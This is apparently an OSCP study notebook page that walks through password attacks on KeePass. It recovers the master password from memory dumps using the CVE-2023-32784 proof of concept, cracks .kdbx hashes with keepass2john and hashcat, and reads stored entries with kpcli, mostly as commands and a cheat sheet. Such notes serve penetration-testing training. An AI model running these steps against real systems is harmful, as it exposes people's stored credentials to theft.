Pearson's OSCP Notebook

keepass-password-dumper

Properties2
tagskeepass, keepass-password-dumper, kpcli, cve-2023-32784, memory-dump, password-attacks, kdbx
aliasesKeePass

3 min read

keepass-password-dumper & kpcli — OSCP Notes

keepass-password-dumper — What is it?

keepass-password-dumper is a PoC for CVE-2023-32784. It recovers the KeePass 2.x master password from a memory artifact — no code execution on the victim required.

  • Works on KeePass < 2.54 (2.54+ mitigates with different API usage / random string insertion)
  • Recovers all characters except the first from leftover SecureTextBoxEx strings in managed memory
  • Dump source can be: process dump, pagefile.sys, hiberfil.sys, crash dump, or full RAM capture
  • Works even when the KeePass workspace is locked; older strings may persist after KeePass exits

OSCP chain: Find KeePass on Windows host → obtain memory dump → recover master password → open .kdbx with kpcli or crack hash with keepass2john.

See CrackMapExec - nxc > 📌 8d) KeePass modules — keepass_discover / keepass_trigger · John > keepass2john · Hashcat -m 13400

📌 1) Install keepass-password-dumper

Requires .NET on your attack box.

# Kali — .NET SDK/runtime if missing
sudo apt update
sudo apt install -y dotnet-sdk-8.0   # or current SDK from Microsoft packages
 
git clone https://github.com/vdohney/keepass-password-dumper.git
cd keepass-password-dumper

📌 2) Obtain a memory dump (Windows target)

Common lab approaches:

# Task Manager → KeePass.exe → Create dump file
# Saves e.g. C:\Users\<user>\AppData\Local\Temp\KeePass.dmp
 
# Or copy pagefile.sys / hiberfil.sys (needs admin + reveal hidden system files)
# Or full system crash dump / RAM image from compromised host

Transfer the .dmp to Kali.

📌 3) Run the dumper

cd keepass-password-dumper
 
# Basic — prints likely password characters per position
dotnet run /path/to/KeePass.dmp
 
# Generate candidate password list (brute first missing char)
dotnet run /path/to/KeePass.dmp candidates.txt

Output shows recovered chars from position 2 onward; brute or guess the first character, then test against the .kdbx.

📌 4) After master password — crack or browse .kdbx

Offline crack (no memory dump)

keepass2john database.kdbx > keepass.hash
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

kpcli — CLI KeePass database browser

kpcli is a terminal UI for opening and searching .kdbx files once you have the master password (from dump, trigger export, or crack).

sudo apt-get install kpcli -y
 
kpcli --kdb database.kdbx
# Prompts for master password, then interactive CLI to list/show entries

Useful kpcli commands inside the shell:

ls                    # List groups
cd "Group/SubGroup"   # Navigate
ls                    # Entries in group
show -f EntryName     # Show username/password/notes
exit

📌 Quick Cheat Sheet

# Memory dump path on attacker
git clone https://github.com/vdohney/keepass-password-dumper.git
cd keepass-password-dumper && dotnet run KeePass.dmp
 
# Browse unlocked DB
sudo apt-get install kpcli -y
kpcli --kdb database.kdbx
 
# Crack hash instead
keepass2john database.kdbx > keepass.hash
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

Graph View

Backlinks